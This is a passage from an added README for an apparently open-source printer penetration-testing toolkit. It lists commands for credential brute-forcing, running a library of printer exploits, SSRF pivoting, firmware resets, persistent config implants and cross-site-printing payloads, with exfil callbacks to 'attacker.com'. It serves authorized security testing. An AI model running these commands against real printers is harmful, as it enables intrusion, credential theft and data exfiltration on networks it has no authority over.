+ python printerxpl-forge.py 192.168.1.100 --bruteforce --bf-vendor oki --bf-mac AA:BB:CC:DD:EE:FF
501
+
502
+ # Custom wordlist (replaces default)
503
+ python printerxpl-forge.py 192.168.1.100 --bruteforce --bf-wordlist /path/to/creds.txt
504
+
505
+ # Add individual credentials (highest priority)
506
+ python printerxpl-forge.py 192.168.1.100 --bruteforce --bf-cred admin:MyPass --bf-cred root:
507
+
508
+ # No variation engine (faster)
509
+ python printerxpl-forge.py 192.168.1.100 --bruteforce --bf-no-variations --bf-delay 2.0
510
+ ```
511
+
512
+ **Protocols tested:** HTTP/HTTPS · FTP · SNMP community strings · Telnet
513
+
514
+ **Wordlist format:**
515
+ ```
516
+ # ── Epson ──────────────────────────────────────────────────────────────────
517
+ admin:epson
518
+ admin:__SERIAL__ # expanded to --bf-serial value at runtime
519
+ # ── HP ─────────────────────────────────────────────────────────────────────
520
+ Admin:Admin
521
+ jetdirect:
522
+ admin:hpinvent!
523
+ ```
524
+
525
+ ---
526
+
527
+ ## 5. Exploit Library
528
+
529
+ ```bash
530
+ # List all 150 modules sorted by CVSS
531
+ python printerxpl-forge.py 192.168.1.100 --xpl-list
532
+ python printerxpl-forge.py 192.168.1.100 --xpl-list --xpl-source exploit-db
533
+
534
+ # Non-destructive vulnerability check
535
+ python printerxpl-forge.py 192.168.1.100 --xpl-check edb-35151
536
+ python printerxpl-forge.py 192.168.1.100 --xpl-check edb-cve-2024-51978
537
+
538
+ # Run exploit (dry-run default)
539
+ python printerxpl-forge.py 192.168.1.100 --xpl-run edb-35151
540
+ python printerxpl-forge.py 192.168.1.100 --xpl-run edb-35151 --no-dry # live
541
+
542
+ # Download exploit from ExploitDB
543
+ python printerxpl-forge.py --xpl-fetch 45273
544
+
545
+ # Rebuild index after adding modules
546
+ python printerxpl-forge.py --xpl-update
547
+ ```
548
+
549
+ ### New HIGH/CRITICAL Modules Added in v6.1.0
550
+
551
+ | Module ID | CVE(s) | CVSS | Vendor | Type |
552
+ |---|---|---|---|---|
553
+ | `research-hp-printing-shellz` | CVE-2021-39238 | 9.8 | HP | Wormable RCE (FutureSmart BOF) |
554
+ | `research-hp-bof-series-2022` | CVE-2022-28721 / CVE-2023-1329 / CVE-2024-0794 | 9.8 | HP | Network BOF series |
555
+ | `edb-cve-2021-3441` | CVE-2021-3441 | 7.4 | HP | Stored XSS via unauthenticated PUT |
556
+ | `research-ssport-lpe` | CVE-2021-3438 | 7.8 | HP/Samsung/Xerox | Windows kernel LPE (SSPORT.SYS) |
557
+ | `research-canon-xps-bof-2025b` | CVE-2025-14234 / CVE-2025-14237 | 9.8 | Canon | XPS BOF (advisory CP2026-001) |
558
+ | `research-lexmark-ps-bof-50734` | CVE-2023-50734 | 9.0 | Lexmark | PS interpreter stack BOF |
559
+ | `research-lexmark-ps-bof-50736` | CVE-2023-50736 | 9.0 | Lexmark | PS memory corruption |
560
+ | `research-lexmark-fw-downgrade` | CVE-2023-50738 | 8.8 | Lexmark | Firmware downgrade → RCE |
561
+
562
+ ### New HIGH/CRITICAL Modules Added in v6.2.0 (EmbedXPL Absorption)
563
+
564
+ | Module ID | CVE(s) | CVSS | Vendor | Type |
565
+ |---|---|---|---|---|
566
+ | `research-hp-fw-auth-bypass-2023-6018` | CVE-2023-6018 | **9.8** | HP | FW Auth Bypass + Upload |
567
+ | `research-hp-uart-bof-2022-3942` | CVE-2022-3942 | **9.8** | HP | UART BOF / RCE |
568
+ | `research-hp-pagewide-ssrf-2017-2750` | CVE-2017-2750 | **9.8** | HP | Solution Bundle RCE/SSRF |
569
+ | `research-hp-mfp-bof-2021-39237` | CVE-2021-39237 | **9.8** | HP | MFP Stack BOF (Printing Shellz) |
570
+ | `edb-cve-2011-4065` | CVE-2011-4065 | **9.8** | HP | Web JetAdmin Unauth RCE |
571
+ | `research-hp-pjl-traversal-2010-4107` | CVE-2010-4107 | 7.8 | HP | PJL Dir Traversal |
572
+ | `research-hp-ews-ssrf-2024-4479` | CVE-2024-4479 | 8.6 | HP | EWS SSRF |
573
+ | `research-hp-efi-rootkit` | — | 9.0 | HP | EFI/UEFI Rootkit (Printing Shellz) |
574
+ | `research-hp-disk-access` | — | 7.5 | HP | Internal HDD Access via EWS |
575
+ | `research-lexmark-ssrf-rce-2023-23560` | CVE-2023-23560 | **9.0** | Lexmark | SSRF→RCE (Pwn2Own Toronto '22) |
576
+ | `research-ricoh-http-bof-2024-34161` | CVE-2024-34161 | **9.8** | Ricoh | HTTP Stack BOF |
577
+ | `research-ricoh-ews-rce-2024-34161` | CVE-2024-34161 | **9.8** | Ricoh | EWS CGI RCE |
578
+ | `research-ricoh-driver-lpe-2019-19363` | CVE-2019-19363 | 7.8 | Ricoh | Windows Driver LPE |
579
+ | `research-xerox-altalink-unauth-2022-23968` | CVE-2022-23968 | **9.8** | Xerox | AltaLink Unauth Admin API |
580
+ | `research-kyocera-pjl-creds` | — | 7.5 | Kyocera | PJL Credential Extraction |
581
+ | `research-cups-pwn2own-2026-chain` | CVE-2026-34480 | **9.8** | CUPS | Pwn2Own 2026 Full Chain |
582
+ | `research-cups-pwn2own-2026-stage1` | CVE-2026-34477 | **9.8** | CUPS | UAF Stage 1 |
583
+ | `research-cups-pwn2own-2026-stage2` | CVE-2026-34478 | **9.8** | CUPS | Heap Spray Stage 2 |
584
+ | `research-cups-pwn2own-2026-stage3` | CVE-2026-34479 | **9.8** | CUPS | ROP Chain Stage 3 |
585
+ | `research-cups-chain-2026-34980` | CVE-2026-34980 | **9.8** | CUPS | CRLF Injection RCE |
586
+ | `research-zerologon-printserver` | CVE-2020-1472 | **10.0** | Microsoft | ZeroLogon via Print Server |
587
+ | `research-printer-c2-dns` | — | 7.5 | Generic | C2 via DNS Tunnel |
588
+ | `research-printer-c2-http` | — | 7.5 | Generic | C2 via HTTP Polling |
589
+ | `research-printer-c2-smb` | — | 8.0 | Generic | C2 via SMB/MS-RPRN |
590
+ | `research-printer-iot-lateral` | — | 8.0 | Generic | Printer-as-Pivot Lateral Movement |
591
+ | `research-printer-net-reconn` | — | 5.3 | Generic | Network Recon from Printer |
592
+ | `research-smb-auth-relay-print` | — | 8.1 | Generic | SMB NTLM Relay via Spooler |
593
+ | `research-universal-printer-enum` | — | — | Generic | Multi-protocol Fingerprinting |
594
+ | `research-ps-lang-abuse` | — | 7.8 | Generic | PostScript Dict Abuse |
595
+ | `research-ps-overlay-watermark` | — | 5.5 | Generic | PS Watermark Injection |
596
+ | `research-print-track-steg` | — | — | Generic | MIC Tracking Dots Forensics |
597
+ | `research-rfid-badge-exfil` | — | 7.5 | Generic | RFID Badge Data Exfil |
598
+ | `research-smartcard-printer-bypass` | — | 8.0 | Generic | Smartcard/CAC Bypass |
599
+ | `research-thermal-printer-rprint` | — | 6.5 | Epson/Star | Thermal Printer Remote Print |
600
+ | `research-printer-fw-tamper` | — | 9.0 | Generic | Firmware Tampering Research |
601
+ | `research-lexmark-heap-bof` | CVE-2024-11345 | 7.3 | Lexmark | Heap BOF via multipart upload |
602
+ | `research-lexmark-pwn2own-2026` | CVE-2025-65079/65080/65081 | 8.8 | Lexmark | Pwn2Own 2026 heap BOF chain |
603
+ | `research-ricoh-http-bof` | CVE-2024-47939 | 7.7 | Ricoh/Konica Minolta | Web Image Monitor stack BOF |
604
+ | `research-xerox-ipp-bof` | CVE-2019-13165 / CVE-2019-13168 | 8.1 | Xerox | Unauthenticated IPP BOF |
605
+ | `research-xerox-http-bof` | CVE-2019-13169 / CVE-2019-13172 | 8.1 | Xerox | HTTP header/cookie BOF |
606
+ | `edb-cve-2016-11061` | CVE-2016-11061 | 9.8 | Xerox | WorkCentre configrui.php unauthenticated RCE |
607
+ | `research-brother-wsd-ssrf` | CVE-2024-51980 / CVE-2024-51981 | 7.5 | Brother | WSD forced TCP / SSRF |
608
+ | `research-brother-wsd-dos` | CVE-2024-51983 | 7.5 | Brother | WSD device crash DoS |
609
+ | `research-brother-passback` | CVE-2024-51984 | 7.1 | Brother | LDAP/SMTP credential pass-back |
610
+ | `edb-cve-2023-3710` | CVE-2023-3710 | 8.8 | Honeywell | PM43 command injection (EDB-51885) |
611
+ | `research-tftp-loop-dos` | CVE-2024-2169 | 7.5 | Brother/Generic | TFTP infinite loop DoS |
612
+
613
+ ### poly_runner Engine — v6.1.0 Enhancements
614
+
615
+ The built-in multi-language exploit orchestrator now includes:
616
+ - **`available_langs()`** — Returns a dict of all supported compilers/runtimes detected on the system
617
+ - **`run_from_dir(module_dir, ...)`** — Auto-detects source files (`source.c`, `exploit.rb`, `exploit.go`) in a module directory and dispatches to the correct runner
618
+ - **Compilation cache** — Skips rebuild when binary is newer than source (`os.path.getmtime` check)
619
+ - **WSL fallback** — On Windows, if native gcc/clang is absent, automatically uses `wsl gcc` (WSL2 required)
620
+
621
+ ---
622
+
623
+ ## 6. Full Attack Matrix
624
+
625
+ Runs every attack category from BlackHat 2017 + 2024-2025 CVEs:
626
+
627
+ ```bash
628
+ # Dry-run (probe only)
629
+ python printerxpl-forge.py 192.168.1.100 --attack-matrix
630
+
631
+ # Live exploitation — AUTHORIZED LABS ONLY
632
+ python printerxpl-forge.py 192.168.1.100 --attack-matrix --no-dry
633
+
634
+ # Combined with network map
635
+ python printerxpl-forge.py 192.168.1.100 --attack-matrix --network-map --no-dry
636
+ ```
637
+
638
+ **Categories:** DoS · Protection Bypass · Job Manipulation · Information Disclosure · CORS/XSP · SNMP write · Network pivoting
639
+
640
+ ---
641
+
642
+ ## 7. Lateral Movement & Network Mapping
643
+
644
+ ```bash
645
+ # SSRF audit via IPP/WSD
646
+ python printerxpl-forge.py 192.168.1.100 --pivot
647
+
648
+ # Port-scan internal host via printer SSRF
649
+ python printerxpl-forge.py 192.168.1.100 --pivot-scan 10.0.0.1
650
+
651
+ # Full network map from printer's perspective
652
+ python printerxpl-forge.py 192.168.1.100 --network-map
653
+
654
+ # LDAP NTLM hash capture
655
+ python printerxpl-forge.py 192.168.1.100 --xpl-run research-ldap-hash-capture --no-dry
656
+ ```
657
+
658
+ ---
659
+
660
+ ## 8. Storage, Firmware & Payloads
661
+
662
+ ```bash
663
+ # Storage audit: FTP, web file manager, SNMP MIB, saved jobs
664
+ python printerxpl-forge.py 192.168.1.100 --storage
665
+
666
+ # Firmware: version, upload endpoint check, NVRAM probe
667
+ python printerxpl-forge.py 192.168.1.100 --firmware
668
+
669
+ # Factory reset (dry-run probes endpoints)
670
+ python printerxpl-forge.py 192.168.1.100 --firmware-reset pjl
671
+ python printerxpl-forge.py 192.168.1.100 --firmware-reset web
672
+
673
+ # Persistent config implant
674
+ python printerxpl-forge.py 192.168.1.100 --implant smtp_host=attacker.com
675
+ python printerxpl-forge.py 192.168.1.100 --implant snmp_community=hacked
676
+
677
+ # Language-specific payload injection
678
+ python printerxpl-forge.py 192.168.1.100 --payload pjl:reset
679
+ python printerxpl-forge.py 192.168.1.100 --payload ps:loop
680
+ python printerxpl-forge.py 192.168.1.100 --payload ps:custom --payload-data "statusdict begin showROMfonts end"
681
+ ```
682
+
683
+ ---
684
+
685
+ ## 9. Cross-Site Printing (XSP)
686
+
687
+ ```bash
688
+ # Generate attack payloads (deployed via phishing / watering hole)
689
+ python printerxpl-forge.py 192.168.1.100 --xsp info
690
+ python printerxpl-forge.py 192.168.1.100 --xsp capture --xsp-callback https://attacker.com/log
691
+ python printerxpl-forge.py 192.168.1.100 --xsp dos
692
+ python printerxpl-forge.py 192.168.1.100 --xsp nvram
693
+ python printerxpl-forge.py 192.168.1.100 --xsp exfil
694
+ ```
695
+
696
+ ---
697
+
698
+ ## 10. IPP & Send Job
699
+
700
+ ```bash
701
+ # Full IPP security audit
702
+ python printerxpl-forge.py 192.168.1.100 --ipp
703
+
704
+ # Submit anonymous print job (dry-run)
705
+ python printerxpl-forge.py 192.168.1.100 --ipp-submit
706
+ python printerxpl-forge.py 192.168.1.100 --ipp-submit --no-dry
707
+
708
+ # Send any file to printer
709
+ python printerxpl-forge.py 192.168.1.100 --send-job document.pdf
710
+ python printerxpl-forge.py 192.168.1.100 --send-job payload.ps --send-proto raw
711
+ python printerxpl-forge.py 192.168.1.100 --send-job flyer.pdf --send-copies 10 --send-proto lpd
712
+ ```
713
+
714
+ ---
715
+
716
+ ## Full Flag Reference
717
+
718
+ ```
719
+ POSITIONAL
720
+ target Printer IP or hostname
721
+ mode pjl | ps | pcl | auto
722
+
723
+ GENERAL
724
+ -h, --help Show help
725
+ --version Show version
726
+ -q, --quiet Suppress banner
727
+ -d, --debug Show raw bytes
728
+ -s, --safe Verify language support before connecting
729
+ -i FILE Batch commands from file
730
+ -o FILE Log raw sent data to file
731
+ --config PATH Custom config.json
732
+ -I, --interactive Guided menu
733
+
734
+ DISCOVERY
735
+ --discover-local SNMP sweep + host installed printers
736
+ --discover-online Shodan / Censys search
737
+ --osint Passive OSINT for target IP
738
+ --auto-detect Detect supported printer languages
739
+
740
+ RECON (no payloads)
741
+ --scan Banner grab + CVE lookup + attack surface
742
+ --scan-ml --scan + ML fingerprinting + attack scoring
743
+ --no-nvd Skip NVD API (offline mode)
744
+ --xpl Auto-match exploits after --scan
745
+
746
+ IPP
747
+ --ipp Full IPP security audit
748
+ --ipp-submit Submit anonymous IPP job (dry-run)
749
+ --no-dry Disable dry-run
750
+
751
+ PAYLOAD
752
+ --payload LANG:TYPE Inject language-specific payload
753
+ --payload-data STR Custom PS/PJL string
754
+
755
+ SEND JOB
756
+ --send-job FILE Send file to printer
757
+ --send-proto PROTO raw (9100) | ipp (631) | lpd (515)
758
+ --send-copies N Number of copies (default: 1)
759
+ --send-queue NAME LPD queue name (default: lp)
760
+
761
+ LATERAL MOVEMENT
762
+ --pivot SSRF audit via IPP/WSD
763
+ --pivot-scan HOST Port-scan HOST via printer SSRF
764
+ --network-map Full network map from printer's perspective
765
+ --implant KEY=VALUE Persistent config implant
766
+
767
+ STORAGE & FIRMWARE
768
+ --storage FTP, web, SNMP MIB, saved jobs audit
769
+ --firmware Firmware version, upload endpoint, NVRAM
770
+ --firmware-reset M Factory reset via pjl | web | ipp (DANGEROUS)
771
+
772
+ ATTACK CAMPAIGN
773
+ --attack-matrix Full BlackHat 2017 campaign (dry-run default)
774
+ --no-dry Live exploitation
775
+
776
+ XSP
777
+ --xsp TYPE info | capture | dos | nvram | exfil
778
+ --xsp-callback URL Callback URL for exfil
779
+
780
+ EXPLOIT LIBRARY
781
+ --xpl-list List all exploits
782
+ --xpl-source SRC metasploit | exploit-db | research | custom
783
+ --xpl-check ID Non-destructive probe
784
+ --xpl-run ID Run exploit (add --no-dry for live)
785
+ --xpl-update Rebuild xpl/index.json
786
+ --xpl-fetch EDB_ID Download from ExploitDB
787
+
788
+ BRUTE-FORCE
789
+ --bruteforce BF: HTTP, FTP, SNMP, Telnet
790
+ --bf-vendor VENDOR Vendor override
791
+ --bf-serial SERIAL Device serial (__SERIAL__ token)
792
+ --bf-mac MAC MAC address (__MAC6__, __MAC12__ tokens)
793
+ --bf-wordlist FILE Custom wordlist (replaces default)
794
+ --bf-cred USER:PASS Extra credential (repeatable)
795
+ --bf-no-variations Disable leet/reverse/camelcase
796
+ --bf-delay SECS Delay between attempts (default: 0.3s)
797
+
798
+ CONFIG
799
+ --check-config Show API key status
800
+ ```
801
+
802
+ ---
803
+
804
+ ## Supported Vendors (20+)
805
+
806
+ Epson · HP · Brother · Ricoh · Xerox · Canon · Kyocera · Samsung · OKI · Lexmark · Konica Minolta · Fujifilm · Sharp · Toshiba · Zebra · Axis · Pantum · Sindoh · Develop · Utax
807
+
808
+ ---
809
+
810
+ ## Configuration
811
+
812
+ ```json
813
+ {
814
+ "shodan": { "api_key": "YOUR_KEY" },
815
+ "censys": { "api_id": "YOUR_ID", "api_secret": "YOUR_SECRET" },
816
+ "nvd": { "api_key": "YOUR_KEY" },
817
+ "ml": { "enabled": true },
818
+ "network": { "timeout": 6, "snmp_timeout": 3 }
819
+ }
820
+ ```
821
+
822
+ ```bash
823
+ cp config.json.example config.json
824
+ python printerxpl-forge.py --check-config
825
+ ```
826
+
827
+ ---
828
+
829
+ ## Diagram Sources
830
+
831
+ All flow diagrams are editable in [diagrams.net / draw.io](https://app.diagrams.net):
832
+
833
+ | File | Description |
834
+ |------|-------------|
835
+ | `diagrams/PrinterXPL-Forge_workflow.drawio` | 6-phase operational workflow |
836
+ | `diagrams/credential_flow.drawio` | Credential architecture flow |
837
+ | `diagrams/attack_matrix.drawio` | Attack coverage matrix |
838
+ | `diagrams/*.mmd` | Mermaid source diagrams |
839
+
840
+ ---
841
+
842
+ ## OS Packaging (3 caminhos + pipx)
843
+
844
+ Todo o empacotamento operacional foi centralizado em `packages/`:
845
+
846
+ | Path | Objetivo | Arquivo principal |
847
+ |------|----------|-------------------|
848
+ | `packages/01-pypi/` | Wheel/sdist + publicação PyPI | `build.sh` / `build.ps1` |
849
+ | `packages/02-deb/` | Pacote `.deb` (Debian/Ubuntu/Kali) | `prepare.sh` + `build.sh` |
850
+ | `packages/03-rpm/` | Pacote `.rpm` (RHEL/Fedora/Rocky) | `build.sh` + `printerxpl-forge.spec` |
851
+ | `packages/04-pipx/` | Instalação isolada via `pipx` | `validate.sh` / `validate.ps1` |
852
+
853
+ Fluxo recomendado:
854
+
855
+ ```bash
856
+ ./packages/01-pypi/build.sh
857
+ ./packages/02-deb/prepare.sh && ./packages/02-deb/build.sh
858
+ ./packages/03-rpm/build.sh
859
+ ./packages/04-pipx/validate.sh
860
+ ```
861
+
862
+ Guia central: `packages/README.md`
863
+
864
+ ---
865
+
866
+ ## Version History
867
+
868
+ | Version | Date | Highlights |
869
+ |---------|------|------------|
870
+ | **3.13.0** | 2026-03-24 | ZoomEye API fix (→ api.zoomeye.ai, API-KEY auth), Netlas field fixes (geo.country, http.title), repo cleanup (remove tests/tools/debian/packaging) |
871
+ | 3.12.0 | 2026-03-24 | CSV multi-value dork filters (--dork-vendor hp,canon --dork-port 9100,631), --dork-city multi-city, city/country guard |
872
+ | 3.11.0 | 2026-03-24 | Engine selection UX: individual flags = single engine, --dork-engine = multi-engine only; FOFA email deprecated (key-only); ZoomEye + Netlas keys |
873
+ | 3.10.0 | 2026-03-25 | Custom port overrides for every protocol (`--port-raw`, `--port-ipp`, `--port-snmp`, ...), `PortConfig` central resolver, `--extra-ports` scan flag |
874
+ | 3.9.0 | 2026-03-25 | 5-engine dork discovery (Shodan, Censys, FOFA, ZoomEye, Netlas), `--dork-engine` selector, per-engine query syntax, zero-filter enforcement |
875
+ | 3.8.0 | 2026-03-25 | Structured dork discovery (Shodan/Censys), `--auto-exploit` pipeline, `DiscoveryParams`, `DorkQueryBuilder`, `auto_exploit()` |
876
+ | 3.7.0 | 2026-03-25 | Zero hardcoded creds, wordlist engine, draw.io diagrams, PNG assets |
877
+ | 3.6.2 | 2026-03-25 | LDAP hash capture, CVE-2024-51978, 5 new vendors |
878
+ | 3.6.0 | 2026-03-24 | 7 new BlackHat 2017 exploits + EDB research modules |
879
+ | 3.5.0 | 2026-03-24 | `--send-job`, wordlists subfolder, emoji-free CLI |
880
+ | 3.4.2 | 2026-03-24 | Interactive guided menu, spinner, next-steps hints |
881
+ | 3.4.1 | 2026-03-24 | Login brute-force engine, variation generator |
882
+ | 3.4.0 | 2026-03-24 | Exploit library (xpl/), --xpl-* flags, auto-matching |
883
+ | 3.3.0 | 2026-03-24 | --attack-matrix, --network-map, XSP/CORS spoofing |
884
+ | 3.2.0 | 2026-03-24 | IPP attacks, SSRF pivot, storage, firmware, implants |
885
+ | 3.1.0 | 2026-03-24 | --scan/--scan-ml, CVE scanner, ML engine, Shodan |
886
+ | 3.0.0 | 2026-03-24 | IPv6, SMB, pysnmp v5/v7, IPP/TLS, local discovery |
887
+ | 2.5.x | 2025-10-05 | Cross-platform, PRET fork, 109 commands |
888
+
889
+ ---
890
+
891
+ ## References
892
+
893
+ - Müller et al. — *Exploiting Network Printers*, BlackHat USA 2017
894
+ - [Hacking Printers Wiki](http://hacking-printers.net)
895
+ - [ExploitDB — Printer exploits](https://www.exploit-db.com/search?q=printer&verified=true)
896
+ - [NVD — National Vulnerability Database](https://nvd.nist.gov)
897
+ - [PRET — Printer Exploitation Toolkit](https://github.com/RUB-NDS/PRET)
898
+
899
+ ---
900
+
901
+ ## Legal Disclaimer
902
+
903
+ <!-- LEGAL-NOTICE-UG-MRH -->
904
+
905
+ PrinterXPL-Forge is developed for **authorized security research, penetration testing, and educational purposes only**. Using this tool against systems you do not own or have explicit written authorization to test is **illegal**.
906
+
907
+ The software is provided **“as is” (AS IS)** under the [MIT License](LICENSE), **without warranty** of any kind (express or implied). The author is **not liable** for damages, misuse, third-party claims, or commercial/fitness guarantees — **use at your own risk**. Preserve **copyright notices** when redistributing; **pull requests** and **issues** are welcome.
908
+
909
+ ---
910
+
911
+ <div align="center">
912
+
913
+ **PrinterXPL-Forge** · *Advanced Printer Penetration Testing Toolkit*
914
+
915
+ Made with care for the security community.
916
+
917
+ [Documentation](https://github.com/mrhenrike/PrinterXPL-Forge/wiki) | [Issues](https://github.com/mrhenrike/PrinterXPL-Forge/issues) | [Releases](https://github.com/mrhenrike/PrinterXPL-Forge/releases)
918
+
919
+ </div>